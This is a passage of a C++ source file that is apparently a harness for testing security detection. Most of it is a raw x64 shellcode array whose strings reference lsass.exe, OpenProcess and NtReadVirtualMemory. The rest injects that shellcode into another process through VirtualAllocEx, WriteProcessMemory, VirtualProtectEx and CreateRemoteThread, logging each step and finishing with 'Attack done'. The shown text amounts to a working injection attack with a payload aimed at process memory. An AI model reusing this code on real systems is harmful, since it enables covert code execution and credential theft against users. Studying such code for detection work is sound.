0xE4, 0x48, 0x8D, 0x65, 0xE8, 0x5E, 0x5F, 0x41, 0x5C, 0x5D, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x65, 0x48, 0x8B, 0x14, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD0, 0x48, 0x85, 0xD2, 0x74, 0x51, 0x48, 0x8B, 0x42, 0x18, 0x48, 0x85, 0xC0, 0x74, 0x48, 0x49, 0x89, 0xC9, 0x48, 0x8B, 0x48, 0x20, 0x4C, 0x8D, 0x58, 0x20, 0x4C, 0x39, 0xD9, 0x74, 0x35, 0x4C, 0x8B, 0x51, 0x50, 0x45, 0x31, 0xC0, 0x4D, 0x85, 0xD2, 0x74, 0x24, 0x66, 0x43, 0x8B, 0x04, 0x02, 0x66, 0x43, 0x8B, 0x14, 0x01, 0x66, 0x85, 0xC0, 0x74, 0x07, 0x66, 0x85, 0xD2, 0x75, 0x19, 0xEB, 0x0E, 0x0F, 0xB7, 0xC2, 0xF7, 0xD8, 0x85, 0xC0, 0x75, 0x05, 0x48, 0x8B, 0x41, 0x20, 0xC3, 0x48, 0x8B, 0x09, 0xEB, 0xC6, 0x31, 0xC0, 0xC3, 0xC3, 0x56, 0x8D, 0x70, 0xBF, 0x66, 0x83, 0xFE, 0x19, 0x77, 0x03, 0x83, 0xC0, 0x20, 0x8D, 0x72, 0xBF, 0x66, 0x83, 0xFE, 0x19, 0x77, 0x03, 0x83, 0xC2, 0x20, 0x49, 0x83, 0xC0, 0x02, 0x66, 0x39, 0xD0, 0x74, 0x23, 0x0F, 0xB7, 0xC0, 0x0F, 0xB7, 0xD2, 0x29, 0xD0, 0xEB, 0x2D, 0x66, 0x85, 0xD2, 0x75, 0xD0, 0x48, 0x8B, 0x09, 0x4C, 0x39, 0xD9, 0x74, 0x2A, 0x4C, 0x8B, 0x51, 0x50, 0x45, 0x31, 0xC0, 0x4D, 0x85, 0xD2, 0x74, 0xEC, 0x66, 0x43, 0x8B, 0x04, 0x02, 0x66, 0x43, 0x8B, 0x14, 0x01, 0x66, 0x85, 0xC0, 0x75, 0xD8, 0x0F, 0xB7, 0xC2, 0xF7, 0xD8, 0x85, 0xC0, 0x75, 0xD4, 0x48, 0x8B, 0x41, 0x20, 0xEB, 0x02, 0x31, 0xC0, 0x5E, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x57, 0x48, 0x89, 0xC8, 0x56, 0x48, 0x63, 0x49, 0x3C, 0x44, 0x8B, 0x84, 0x08, 0x88, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x49, 0x01, 0xC0, 0x45, 0x8B, 0x50, 0x20, 0x49, 0x01, 0xC2, 0x45, 0x8B, 0x1C, 0x8A, 0x45, 0x31, 0xC9, 0x49, 0x01, 0xC3, 0x43, 0x8A, 0x3C, 0x0B, 0x42, 0x8A, 0x34, 0x0A, 0x40, 0x84, 0xFF, 0x74, 0x0A, 0x49, 0xFF, 0xC1, 0x40, 0x38, 0xF7, 0x74, 0xEB, 0xEB, 0x05, 0x40, 0x84, 0xF6, 0x74, 0x05, 0x48, 0xFF, 0xC1, 0xEB, 0xD5, 0x41, 0x8B, 0x50, 0x24, 0x48, 0x01, 0xC9, 0x5E, 0x48, 0x01, 0xC1, 0x5F, 0x0F, 0xB7, 0x0C, 0x11, 0x41, 0x8B, 0x50, 0x1C, 0x48, 0x8D, 0x0C, 0x88, 0x8B, 0x14, 0x11, 0x48, 0x01, 0xD0, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x57, 0x48, 0x89, 0xD7, 0x56, 0x48, 0x89, 0xCE, 0x48, 0x8D, 0x0D, 0x01, 0x04, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x28, 0xE8, 0xA8, 0xFE, 0xFF, 0xFF, 0x48, 0x8D, 0x15, 0x0B, 0x04, 0x00, 0x00, 0x48, 0x89, 0xC1, 0xE8, 0x69, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x0D, 0x09, 0x04, 0x00, 0x00, 0xFF, 0xD0, 0x48, 0x85, 0xC0, 0x74, 0x27, 0x48, 0x8D, 0x15, 0x06, 0x04, 0x00, 0x00, 0x48, 0x89, 0xC1, 0xE8, 0x4C, 0xFF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x74, 0x13, 0x48, 0x83, 0xC4, 0x28, 0x49, 0x89, 0xF8, 0x48, 0x89, 0xF2, 0x45, 0x31, 0xC9, 0x5E, 0x31, 0xC9, 0x5F, 0xFF, 0xE0, 0x48, 0x83, 0xC4, 0x28, 0x5E, 0x5F, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x55, 0x41, 0x89, 0xD1, 0x01, 0xD2, 0x49, 0x89, 0xCB, 0x8D, 0x42, 0x01, 0x48, 0x98, 0x48, 0x89, 0xE5, 0x56, 0x48, 0x83, 0xC0, 0x0F, 0x48, 0x83, 0xE0, 0xF0, 0x48, 0x83, 0xEC, 0x48, 0x48, 0x29, 0xC4, 0xC6, 0x45, 0xEF, 0x00, 0x48, 0xB8, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x48, 0x89, 0x45, 0xDF, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x48, 0xB8, 0x38, 0x39, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x48, 0x89, 0x45, 0xE7, 0x31, 0xC0, 0x41, 0x39, 0xC1, 0x7E, 0x2A, 0x45, 0x8A, 0x14, 0x03, 0x44, 0x89, 0xD6, 0x41, 0x83, 0xE2, 0x0F, 0x40, 0xC0, 0xEE, 0x04, 0x46, 0x8A, 0x54, 0x15, 0xDF, 0x83, 0xE6, 0x0F, 0x40, 0x8A, 0x74, 0x35, 0xDF, 0x44, 0x88, 0x54, 0x41, 0x01, 0x40, 0x88, 0x34, 0x41, 0x48, 0xFF, 0xC0, 0xEB, 0xD1, 0x48, 0x63, 0xD2, 0xC6, 0x04, 0x11, 0x00, 0x4C, 0x89, 0xC2, 0xE8, 0x0A, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x75, 0xF8, 0xC9, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x41, 0x54, 0x55, 0x57, 0x48, 0x89, 0xCF, 0x48, 0x8D, 0x0D, 0x40, 0x03, 0x00, 0x00, 0x56, 0x48, 0x83, 0xEC, 0x38, 0xE8, 0xA8, 0xFD, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xE8, 0x02, 0x00, 0x00, 0x48, 0x89, 0xC5, 0xE8, 0x90, 0xFD, 0xFF, 0xFF, 0x48, 0x89, 0xC6, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xF5, 0x00, 0x00, 0x00, 0x48, 0x89, 0xE9, 0x48, 0x8D, 0x15, 0x1C, 0x03, 0x00, 0x00, 0xE8, 0x45, 0xFE, 0xFF, 0xFF, 0x48, 0x89, 0xC5, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xDA, 0x00, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x8D, 0x15, 0x1A, 0x03, 0x00, 0x00, 0xE8, 0x2A, 0xFE, 0xFF, 0xFF, 0x48, 0x89, 0xC6, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xBF, 0x00, 0x00, 0x00, 0x31, 0xC0, 0x45, 0x31, 0xC0, 0x31, 0xD2, 0xB9, 0x05, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x2C, 0x4C, 0x8D, 0x4C, 0x24, 0x2C, 0xFF, 0xD5, 0x3D, 0x04, 0x00, 0x00, 0xC0, 0x0F, 0x85, 0x9D, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x8B, 0x54, 0x24, 0x2C, 0x41, 0xB9, 0x04, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0xFF, 0xD6, 0x44, 0x8B, 0x44, 0x24, 0x2C, 0x4C, 0x8D, 0x4C, 0x24, 0x2C, 0xB9, 0x05, 0x00, 0x00, 0x00, 0x48, 0x89, 0xC6, 0x48, 0x89, 0xC2, 0xFF, 0xD5, 0x85, 0xC0, 0x75, 0x6E, 0x4C, 0x8B, 0x46, 0x40, 0x4D, 0x85, 0xC0, 0x74, 0x5A, 0x66, 0x83, 0x7E, 0x38, 0x00, 0x74, 0x53, 0x31, 0xC9, 0x66, 0x41, 0x8B, 0x04, 0x08, 0x66, 0x8B, 0x14, 0x0F, 0x66, 0x85, 0xC0, 0x74, 0x34, 0x66, 0x85, 0xD2, 0x74, 0x3E, 0x44, 0x8D, 0x48, 0xBF, 0x66, 0x41, 0x83, 0xF9, 0x19, 0x77, 0x03, 0x83, 0xC0, 0x20, 0x44, 0x8D, 0x4A, 0xBF, 0x66, 0x41, 0x83, 0xF9, 0x19, 0x77, 0x03, 0x83, 0xC2, 0x20, 0x48, 0x83, 0xC1, 0x02, 0x66, 0x39, 0xD0, 0x74, 0xC8, 0x0F, 0xB7, 0xC0, 0x0F, 0xB7, 0xD2, 0x29, 0xD0, 0xEB, 0x05, 0x0F, 0xB7, 0xC2, 0xF7, 0xD8, 0x85, 0xC0, 0x75, 0x06, 0x48, 0x8B, 0x46, 0x50, 0xEB, 0x12, 0x8B, 0x06, 0x85, 0xC0, 0x74, 0x05, 0x48, 0x01, 0xC6, 0xEB, 0x92, 0x48, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x38, 0x5E, 0x5F, 0x5D, 0x41, 0x5C, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x56, 0x89, 0xCE, 0x48, 0x8D, 0x0D, 0xB6, 0x01, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0x5D, 0xFC, 0xFF, 0xFF, 0x48, 0x8D, 0x15, 0x1E, 0x02, 0x00, 0x00, 0x48, 0x89, 0xC1, 0xE8, 0x1E, 0xFD, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x89, 0xF0, 0x31, 0xD2, 0xB9, 0xFF, 0xFF, 0x1F, 0x00, 0x5E, 0xFF, 0xE0, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x41, 0x56, 0x41, 0x55, 0x4D, 0x89, 0xC5, 0x41, 0x54, 0x49, 0x89, 0xD4, 0x55, 0x57, 0x56, 0x48, 0x89, 0xCE, 0x48, 0x8D, 0x0D, 0xA5, 0x01, 0x00, 0x00, 0x48, 0x81, 0xEC, 0xB8, 0x00, 0x00, 0x00, 0xE8, 0x0B, 0xFC, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x07, 0x31, 0xC0, 0xE9, 0xC6, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x15, 0xCC, 0x01, 0x00, 0x00, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC7, 0xE8, 0xBD, 0xFC, 0xFF, 0xFF, 0x49, 0x89, 0xC6, 0x48, 0x85, 0xC0, 0x74, 0xDF, 0x48, 0x8D, 0x15, 0xCC, 0x01, 0x00, 0x00, 0x48, 0x89, 0xF9, 0xE8, 0xA6, 0xFC, 0xFF, 0xFF, 0x48, 0x89, 0xC5, 0x48, 0x85, 0xC0, 0x74, 0xC8, 0x31, 0xC0, 0x48, 0x8D, 0x7C, 0x24, 0x48, 0xB9, 0x0C, 0x00, 0x00, 0x00, 0x31, 0xD2, 0xF3, 0xAB, 0x48, 0x8D, 0x44, 0x24, 0x3C, 0x89, 0x54, 0x24, 0x3C, 0x48, 0x89, 0xF1, 0x31, 0xD2, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0xB9, 0x30, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x44, 0x24, 0x48, 0x41, 0xFF, 0xD6, 0x85, 0xC0, 0x75, 0x93, 0x48, 0x8D, 0x7C, 0x24, 0x78, 0xB9, 0x0E, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x50, 0x41, 0xB9, 0x38, 0x00, 0x00, 0x00, 0xF3, 0xAB, 0x31, 0xC0, 0x48, 0x8D, 0x7C, 0x24, 0x40, 0x4C, 0x8D, 0x44, 0x24, 0x78, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x89, 0xF1, 0x48, 0x89, 0x7C, 0x24, 0x20, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x85, 0x59, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x94, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x48, 0x85, 0xD2, 0x0F, 0x84, 0x48, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x4D, 0x89, 0xE9, 0x4D, 0x89, 0xE0, 0x48, 0x89, 0xF1, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x94, 0xC0, 0x48, 0x81, 0xC4, 0xB8, 0x00, 0x00, 0x00, 0x5E, 0x5F, 0x5D, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x6D, 0x61, 0x69, 0x6E, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x00, 0x47, 0x65, 0x74, 0x20, 0x70, 0x69, 0x64, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x21, 0x00, 0x55, 0x6E, 0x61, 0x62, 0x6C, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x6F, 0x70, 0x65, 0x6E, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x21, 0x00, 0x52, 0x65, 0x61, 0x64, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x20, 0x68, 0x65, 0x61, 0x70, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x21, 0x00, 0x68, 0x65, 0x61, 0x70, 0x00, 0x00, 0x6C, 0x00, 0x73, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x2E, 0x00, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x41, 0x00, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x5A, 0x77, 0x51, 0x75, 0x65, 0x72, 0x79, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x49, 0x6E, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x00, 0x4F, 0x70, 0x65, 0x6E, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x5A, 0x77, 0x51, 0x75, 0x65, 0x72, 0x79, 0x49, 0x6E, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x4E, 0x74, 0x52, 0x65, 0x61, 0x64, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
|
#endif
|
|
|
|
msg << "Before allocating memory for shellcode";
|
|
print_and_emit_event(msg.str(), bef); msg.str({}); msg.clear();
|
|
|
|
// allocate memory to new process
|
|
LPVOID remote_addr = VirtualAllocEx(hProcess, nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
if (remote_addr) {
|
|
msg << "After allocating memory for shellcode at " << (void*)remote_addr;
|
|
print_and_emit_event(msg.str(), aft); msg.str({}); msg.clear();
|
|
Sleep(sleep_between_steps_ms);
|
|
}
|
|
else {
|
|
msg << "Failed to allocate memory: " << GetLastError();
|
|
print_and_emit_event(msg.str(), fail); msg.str({}); msg.clear();
|
|
return 1;
|
|
}
|
|
|
|
msg << "Before writing shellcode to process";
|
|
print_and_emit_event(msg.str(), bef); msg.str({}); msg.clear();
|
|
|
|
// write value into process' memory
|
|
SIZE_T bytes_written;
|
|
if (WriteProcessMemory(hProcess, remote_addr, &shellcode, sizeof(shellcode), &bytes_written)) {
|
|
msg << "After writing shellcode to process at " << (void*)remote_addr;
|
|
print_and_emit_event(msg.str(), aft); msg.str({}); msg.clear();
|
|
Sleep(sleep_between_steps_ms);
|
|
}
|
|
else {
|
|
msg << "Failed to write memory: " << GetLastError();
|
|
print_and_emit_event(msg.str(), aft); msg.str({}); msg.clear();
|
|
return 1;
|
|
}
|
|
|
|
msg << "Before changing memory protection to PAGE_EXECUTE_READ";
|
|
print_and_emit_event(msg.str(), bef); msg.str({}); msg.clear();
|
|
|
|
// change memory protection to executable
|
|
DWORD old_protect;
|
|
if (VirtualProtectEx(hProcess, remote_addr, sizeof(shellcode), PAGE_EXECUTE_READ, &old_protect)) {
|
|
msg << "After changing memory protection to PAGE_EXECUTE_READ";
|
|
print_and_emit_event(msg.str(), aft); msg.str({}); msg.clear();
|
|
Sleep(sleep_between_steps_ms);
|
|
}
|
|
else {
|
|
msg << "Failed to change memory protection: " << GetLastError();
|
|
print_and_emit_event(msg.str(), fail); msg.str({}); msg.clear();
|
|
VirtualFreeEx(hProcess, remote_addr, 0, MEM_RELEASE);
|
|
CloseHandle(hProcess);
|
|
return 1;
|
|
}
|
|
|
|
msg << "Before reading memory to verify write";
|
|
print_and_emit_event(msg.str(), bef); msg.str({}); msg.clear();
|
|
|
|
/*
|
|
// read written bytes back for verification
|
|
BYTE verify_buf[sizeof(shellcode)] = { 0 };
|
|
SIZE_T bytes_read;
|
|
if (ReadProcessMemory(hProcess, remote_addr, &verify_buf, sizeof(shellcode), &bytes_read)) {
|
|
bool match = (bytes_read == sizeof(shellcode)) && (memcmp(shellcode, verify_buf, sizeof(shellcode)) == 0);
|
|
if (match) {
|
|
msg << "After reading memory to verify write";
|
|
print_and_emit_event(msg.str(), aft); msg.str({}); msg.clear();
|
|
Sleep(sleep_between_steps_ms);
|
|
}
|
|
else {
|
|
msg << "Failed to verify written shellcode";
|
|
print_and_emit_event(msg.str(), fail); msg.str({}); msg.clear();
|
|
VirtualFreeEx(hProcess, remote_addr, 0, MEM_RELEASE);
|
|
CloseHandle(hProcess);
|
|
return 1;
|
|
}
|
|
}
|
|
else {
|
|
msg << "Failed to read back memory for verification: " << GetLastError();
|
|
print_and_emit_event(msg.str(), fail); msg.str({}); msg.clear();
|
|
VirtualFreeEx(hProcess, remote_addr, 0, MEM_RELEASE);
|
|
CloseHandle(hProcess);
|
|
return 1;
|
|
}
|
|
*/
|
|
|
|
msg << "Before creating remote thread";
|
|
print_and_emit_event(msg.str(), bef); msg.str({}); msg.clear();
|
|
|
|
// call create remote thread
|
|
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)remote_addr, nullptr, 0, nullptr);
|
|
if (hThread) {
|
|
msg << "After creating remote thread";
|
|
print_and_emit_event(msg.str(), aft); msg.str({}); msg.clear();
|
|
Sleep(sleep_between_steps_ms);
|
|
}
|
|
else {
|
|
msg << "Failed to create remote thread: " << GetLastError();
|
|
print_and_emit_event(msg.str(), fail); msg.str({}); msg.clear();
|
|
return 1;
|
|
}
|
|
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(pi.hThread);
|
|
|
|
msg << "Attack done";
|
|
print_and_emit_event(msg.str(), ok); msg.str({}); msg.clear();
|
|
TraceLoggingUnregister(g_hProvider);
|
|
return 0;
|
|
}
|